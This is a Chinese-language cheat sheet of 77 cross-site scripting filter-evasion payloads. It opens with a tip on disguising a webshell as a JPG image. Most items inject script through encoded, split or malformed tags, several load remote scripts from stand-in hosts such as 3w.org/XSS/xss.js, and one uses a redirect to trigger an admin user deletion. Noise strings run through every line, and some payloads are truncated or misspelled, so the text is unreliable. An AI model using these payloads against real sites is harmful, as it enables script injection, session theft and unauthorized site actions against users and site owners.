跨站图片shell
* K5 ]2 D8 I; V' s& q; D& hXSS跨站代码 <script>alert("")</script>' S" \2 s1 a# }
# T) y; z2 K) Z* Q, l
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马* P2 z9 d$ M/ N2 s4 r
' |& U5 W; W% p/ S; O: z# J% x/ l
, J5 W# D3 D$ ]' g7 N, R8 X: s
$ D$ q; B g. S7 p1)普通的XSS JavaScript注入( |7 n: Q7 T; h) }$ c, s
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, l+ w% Y" G9 A0 M0 Z
8 B7 z2 {/ {/ }/ ?& y! w: y+ c(2)IMG标签XSS使用JavaScript命令# F o0 m& Z7 {) W( h5 p& R
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 `0 S1 I3 u' g* |& ^9 G: Y+ E+ Z* l4 W& `7 `3 g" ^
(3)IMG标签无分号无引号
8 I5 H- S- W* [& j<IMG SRC=javascript:alert(‘XSS’)>0 {; [$ q& O$ m# `' M
% n7 ~. X" t6 P6 Z; ~
(4)IMG标签大小写不敏感+ d5 Y T' s" v1 u: F
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
0 v2 X2 B' m) w8 i
o" |/ V* \" C$ E( ]! x# N(5)HTML编码(必须有分号)) u! Y' `2 a% u) @
<IMG SRC=javascript:alert(“XSS”)>9 S! M1 G K, `& Y
2 O7 W6 l5 F; M- M, z
(6)修正缺陷IMG标签. K+ J& X; T& b3 n' ~6 W! A8 u( w
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
/ n; [/ E/ u& [/ @
: ^5 d s0 P3 o- V( S. A/ X(7)formCharCode标签(计算器)
' \' O5 R# u- a9 S<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
9 X0 U1 t% {% p% W7 V2 T$ h+ g; z+ B4 N7 R8 T
(8)UTF-8的Unicode编码(计算器)
4 v8 d3 ^7 D4 V5 n; n5 l<IMG SRC=jav..省略..S')>
2 A' B- y2 E& C* v; I
R( L3 ]& e6 Q* C% K(9)7位的UTF-8的Unicode编码是没有分号的(计算器), V* P% i0 T- O7 l% E) N
<IMG SRC=jav..省略..S')>
3 f2 J" a. ?5 j; _$ x6 y$ \; V l S3 f9 z$ t; F
(10)十六进制编码也是没有分号(计算器)
: ^1 I8 E8 ?( z! C<IMG SRC=java..省略..XSS')>6 Q1 J$ ? e% _6 f5 `/ U: I
* p7 M; x/ y/ h3 z: [(11)嵌入式标签,将Javascript分开0 |( y6 x; R6 f$ M$ t! F
<IMG SRC=”jav ascript:alert(‘XSS’);”>
5 e2 T4 q* e% i+ Q
9 C0 E0 q& K, j- y% G9 e/ ~(12)嵌入式编码标签,将Javascript分开3 f5 t4 ?( Z6 \7 {1 |: B
<IMG SRC=”jav ascript:alert(‘XSS’);”>
; K# J8 k) r9 P
! x7 b" s3 C3 r& _3 g6 J4 P2 {1 i(13)嵌入式换行符
' q) j/ _: P0 Q% H5 W9 m<IMG SRC=”jav ascript:alert(‘XSS’);”>
- ~# e1 V& M/ U) B9 @7 h. Y' q3 D
+ O$ A. N) B4 R- h5 ]$ o(14)嵌入式回车
+ k' {8 o/ H9 R8 r3 c- Z<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ [5 J8 n! Z+ m) `4 L, e- g! o v5 B! G' _
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
8 \4 a8 \. g6 o! R+ _% h3 J& H<IMG SRC=”javascript:alert(‘XSS‘)”>
5 z* W! t: a* N+ b# x* o5 i8 R+ v+ u# @
(16)解决限制字符(要求同页面)% N2 j0 y5 ?9 Q2 n( `+ i+ ~1 `
<script>z=’document.’</script>
) d# W% u Y# ?, `/ p# k<script>z=z+’write(“‘</script>
5 c1 Q6 P9 p# r9 I1 o* V<script>z=z+’<script’</script>- ?9 x( M, q( m0 `4 K# L
<script>z=z+’ src=ht’</script>
* [; f# A% Q! {: ]/ [4 B<script>z=z+’tp://ww’</script>% |3 D0 l4 O2 \: J( ?
<script>z=z+’w.shell’</script>% g+ X; H" N6 Q# L! r' s
<script>z=z+’.net/1.’</script>
7 a, o( N5 v3 ~2 ^' X& p% k* H<script>z=z+’js></sc’</script>
, |( |- O9 e: F/ H {9 {<script>z=z+’ript>”)’</script>
/ [, }' e. ?# J<script>eval_r(z)</script>
' z. {0 V, T# N2 C$ s9 o3 ]) W0 Z. o) ^. R3 H6 @
(17)空字符/ ^1 H( A) [. _4 X0 u% Q: r
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out' H" A" o. Z9 @
3 [& Z) B; I6 u
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用& C# ], O4 a0 e
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
( C5 T5 v" e# ^ w' H, i; \) P
0 e, K; e$ P0 k5 U(19)Spaces和meta前的IMG标签
5 {" O* s, i* D9 d- H<IMG SRC=” javascript:alert(‘XSS’);”>5 D5 d. ?3 M3 D: M5 R, z# m
& Z$ c7 }( _& _' a/ `+ S6 L2 d1 k
(20)Non-alpha-non-digit XSS& H: u I' M; }; D8 z
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
& Q! Q! {/ C2 G3 @ d- D; H1 }/ f) K0 e! g/ I. ?- K0 _$ U, \9 S6 }/ E
(21)Non-alpha-non-digit XSS to 2
+ p0 q4 a1 y5 H- S% B<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>- {% E- R) y2 }. S. Q$ f) t. J2 A
" ?9 j; j8 ^7 F, N( p8 P(22)Non-alpha-non-digit XSS to 30 a# E3 Q$ S ~7 N5 \, W
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) ~7 {9 W/ F' w
- g9 D2 ^, ~# k(23)双开括号
) ?/ r- Q( c2 ^# I: X2 t6 j2 E<<SCRIPT>alert(“XSS”);//<</SCRIPT>
) r n; L' _+ ^9 ^7 j1 ?% K9 R3 Z
) ?3 m5 A) D+ h- D( u& [6 R8 ]: M(24)无结束脚本标记(仅火狐等浏览器)
; Y0 `9 i# b* E3 E- M; n<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
+ B W2 j# s# U7 G! Y
& V& \" |) c J1 ]1 S' E: W2 |' B; ^(25)无结束脚本标记2
" n& k6 e8 W& P- C; E<SCRIPT SRC=//3w.org/XSS/xss.js>
1 o$ T6 f1 j. v2 A* d" `
, N( p5 n" T* ]' [' |; ~" k! V# O6 g(26)半开的HTML/JavaScript XSS
' P3 \& R# I9 [( y# H6 i2 t2 R. r<IMG SRC=”javascript:alert(‘XSS’)”' }4 c! r5 y& N
) ]9 d! G2 g! o
(27)双开角括号8 Z6 _, h/ t, r+ C2 I
<iframe src=http://3w.org/XSS.html <9 n2 J, R0 h5 C) L: `! z
# m& p+ O d" P
(28)无单引号 双引号 分号9 F2 _5 R' _' I. `4 S
<SCRIPT>a=/XSS/
( [& p1 q, x; A# I3 yalert(a.source)</SCRIPT>" O- f! C9 s2 L$ w- z6 u
) Z0 T1 L' `$ X5 b(29)换码过滤的JavaScript
/ T7 _; \( j5 \+ K5 J5 q* J: ]\”;alert(‘XSS’);//6 ]" k" M2 r8 G/ R# j# b
8 ~- e3 t7 b. g. y& w; c/ h# c5 [
(30)结束Title标签
. N& c6 g& v5 t3 `9 H& {5 g# M</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>& ^- ?; A3 H L' `; @
3 X5 Z2 B C: s+ Q( H
(31)Input Image: n$ {: z- n0 `% P3 }+ q6 I1 m
<INPUT SRC=”javascript:alert(‘XSS’);”>
6 t$ P3 I- S! G: l; n. p% F3 W
+ [6 U u) S0 h# l(32)BODY Image
& h% m- R0 T8 x) o; k9 q<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, b1 B, n* C3 h- q* K) b% e
' Y3 D9 S' p2 h' P! I& l(33)BODY标签2 L# n: b' \( h
<BODY(‘XSS’)>9 f5 j B* J$ `0 J
# \ r& F1 F9 @, q" {(34)IMG Dynsrc/ l3 h6 i1 A5 t; N) x
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
- `; j5 h, R5 e9 E2 H0 a! @2 R+ m0 j
(35)IMG Lowsrc
# B: t* w" X( D<IMG LOWSRC=”javascript:alert(‘XSS’)”>
# o! c- Y% F, y: i) Y0 J& I; ]+ x- S* E: c# x" P/ _( m
(36)BGSOUND7 _1 c0 e) T8 @, I1 ]
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
l( j. E, m/ J O R! v1 u% l/ `3 i! o: W( f
(37)STYLE sheet+ B' a. [5 s4 w9 G* C0 }
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
( Y$ B( X9 u( e( a
+ H7 |0 N* [8 u7 d7 h. l(38)远程样式表
' i; C8 L! o% w( d<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
$ K- N* ?" o2 J' p0 `6 v' o8 S% [+ Q* V: K/ L# @
(39)List-style-image(列表式)# q& H8 p- a7 U2 T
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
3 t0 q5 J. S) P$ n
# X! Q. d. S2 u3 E(40)IMG VBscript a% J% K; \5 h3 O F l0 j3 L
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS2 }; c9 X1 n! R5 S* R
$ p& n0 c+ q! t3 `! `+ v
(41)META链接url9 K" v/ s- r+ J9 v3 l
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>+ N5 [% |% ~# Z* t7 t3 I1 _0 v$ z
- u- h0 } E8 O8 J4 H1 {2 V( b! h
(42)Iframe
% I& n4 p `( b- I+ M<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>/ P8 P: [& ~0 {# j( q4 [+ h% X
(43)Frame( ]; B( G; d$ {2 l
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>: k0 b: }1 |4 ]6 i
: e/ d1 [- H _, s
(44)Table
7 X! l$ u3 F8 g& W/ M& z' |<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>7 E$ ~+ s- [ R! o4 J# s' z6 [
! B( B6 }7 ?" X7 `
(45)TD$ _: i3 h8 A7 u% J- L' _3 v# z
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
2 H- O1 I; h3 e) I& m8 g4 x" _% R# z- x' D, _# }, Z
(46)DIV background-image; e( D7 F H" N/ z N, q- i' {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”># }: Z6 M: z4 M5 `
5 l4 r$ g9 Y' m2 W
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
6 t$ D- _$ e# M6 p( O<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
% e4 B3 f; E. E: L7 `! l7 B' c# F2 N1 a3 X( S; w
(48)DIV expression; M1 z5 K0 s5 R4 U
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>* H/ D- d/ |3 G
. B! z3 z" k' o. m
(49)STYLE属性分拆表达
2 B+ u) C& L4 E4 O! w<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
8 Q: Z, C9 Z/ N& i
0 d1 Y& g, k5 r9 u4 \* i) K+ ~+ N4 b(50)匿名STYLE(组成:开角号和一个字母开头)
$ M, d5 \8 I* h& P<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
6 l/ X6 ?+ K4 J' a8 J% K. q s5 w, y& h* ^" M7 W) G
(51)STYLE background-image, g% }8 C# Y( D( M# o
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
' d. P1 r( i% J! x) Z0 z# }: x3 x
2 C; R5 A k8 T+ @ k(52)IMG STYLE方式
$ C" S1 B8 M n4 T' e$ U2 |exppression(alert(“XSS”))’>% f5 D+ d; f% K0 k
! L# }" e& m1 k: I
(53)STYLE background
. }& J" t* K4 i& L4 L8 Q$ G<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
`! T' I/ n6 h" b p2 @. v ]! p9 _' L o
(54)BASE; l1 C: O- W) s9 L% X
<BASE HREF=”javascript:alert(‘XSS’);//”>
0 R/ S/ c, y0 t& @0 v
0 L6 i5 _: _. i6 h(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 a4 T2 b: {4 H- m+ p" Z8 m<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
! M! S" Z' L' x# U- r
) P& V. X, t7 q% j6 j$ D(56)在flash中使用ActionScrpt可以混进你XSS的代码
) U) J3 N8 N: \! I) p& ca=”get”;4 V( G; @2 C9 r: @# f1 F: Q
b=”URL(\”";
1 q: l# |, t- Q" E( Kc=”javascript:”;7 L+ e7 n+ ?* j/ e+ T) j" ]: v
d=”alert(‘XSS’);\”)”;
" k6 L; A9 N6 i$ i, z4 o' d* meval_r(a+b+c+d);
1 D. q' [8 O r% c; v9 G
* q8 o* Y' H! }( Y7 S; f(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
8 }2 G v5 z' T1 G g1 e. o<HTML xmlns:xss>
9 N% g* _1 Z. x) c/ N: }<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>: f7 q% D" [" ^6 ~& K7 ~
<xss:xss>XSS</xss:xss>. m9 a1 P2 q6 U! O
</HTML>: `( E; W( S) R/ Y
+ q# \+ |) z+ M' Y( m
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
, P! Q; w* U0 n& B2 ^$ V) d& d" g<SCRIPT SRC=””></SCRIPT>4 u3 A9 h3 ~6 G1 A
: H( r) j& U4 H
(59)IMG嵌入式命令,可执行任意命令
+ |& M% ?. j4 v1 ]# }<IMG SRC=”http://www.XXX.com/a.php?a=b”>
' ^8 P( A" p; z; {, q l2 ^& ?) I7 Z% ]$ R3 }, m, s
(60)IMG嵌入式命令(a.jpg在同服务器)
2 D- N% x! u* S0 b6 DRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser- W$ U7 R( s9 u* E |6 J; ?' [
# Q9 o6 Q3 N( \1 s2 f
(61)绕符号过滤
. i$ v6 G$ `5 ]8 t' m<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
+ ?% B0 D1 s) K% f+ Z3 p/ J! e0 y! _
(62)
) F6 ^1 Y0 ?7 ]$ k0 ?3 Y<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
' m+ B3 i' B. Q! s# ?& \! f H/ ~2 m1 ?5 p9 ~, r$ @* e" t
(63)5 ~ ~) p8 M1 f! Y
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>5 C7 c7 \9 ?1 U$ ]. o/ U
/ ^* B0 D3 V, T1 d1 K" U( s* p( e' i
(64)3 W# N, S& v& b! P, ~- V2 V
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>. b7 b( T6 m4 B6 G9 c/ L
1 Q3 T$ y7 M7 e(65)& D! O) z3 t( H- Q) i% r1 {* t
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
: w- {; [" R l7 t @8 H- c
. z7 i6 v* g# j' @$ b(66)+ T8 C" \2 ^- E
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ j5 I# k% c7 w0 |
6 f) X. ]: i! k. {2 }/ G% v9 u' ?(67)
& s' X$ P/ E, j. n- r<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
2 K& t+ K! [! Q! }- ]3 }1 Z, ~: p
/ M' q1 z5 g" u$ b9 V9 b(68)URL绕行! ]0 W- r" M3 J- E D/ u
<A HREF=”http://127.0.0.1/”>XSS</A>
# n- `6 e( r, R! z
Q6 [2 G* U) s4 w- H( ?" S$ m3 ](69)URL编码- I4 v% A5 A7 g4 c. @3 X0 v- W ]: s
<A HREF=”http://3w.org”>XSS</A>
2 j8 M4 f' i2 N% M$ s
g% c2 I7 H+ s) _% d, M, P(70)IP十进制' y) h& d# N7 J8 G
<A HREF=”http://3232235521″>XSS</A>
& f9 @9 s3 {. L# r' z$ f
" `" z! |4 E+ ^1 v" S& T* T) x(71)IP十六进制, Y$ }" D% b1 q& V
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A># y* u. r% e8 U/ e! M" I6 M
" A+ j4 ]) ~2 z) k(72)IP八进制
" g( y1 ~- Q4 W8 n<A HREF=”http://0300.0250.0000.0001″>XSS</A>( I( ]% J, R: P* t; d m, u' L
6 ?; {; [0 U- G9 z& R
(73)混合编码# d; i$ J- ]/ w3 v' h5 P+ U
<A HREF=”h
6 @8 ]5 N0 k; Y& W& R! k, t3 s7 ttt p://6 6.000146.0×7.147/”">XSS</A>( s6 C! n) x. Z5 C
* n/ I" O x" q) r: A; R8 L1 z2 _(74)节省[http:]5 W. i# u% w$ g% ?
<A HREF=”//www.google.com/”>XSS</A>
6 E- M2 C: a F2 S0 c- E* i! H! X3 C& }" K
(75)节省[www]
: F, T; z: w* J6 z/ J6 M<A HREF=”http://google.com/”>XSS</A>
" o- e1 A4 d: \: X9 C
+ H9 @6 s6 T* D4 P# z; g f, X(76)绝对点绝对DNS
9 b. a6 ~! ~/ O" O<A HREF=”http://www.google.com./”>XSS</A>
6 n- \/ d. m2 }. d/ e+ g" o8 f \- k$ d% h
(77)javascript链接& u- ^0 m' }; O6 w) _0 N- v
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A># M, G. i' V! L/ w) ]' V
|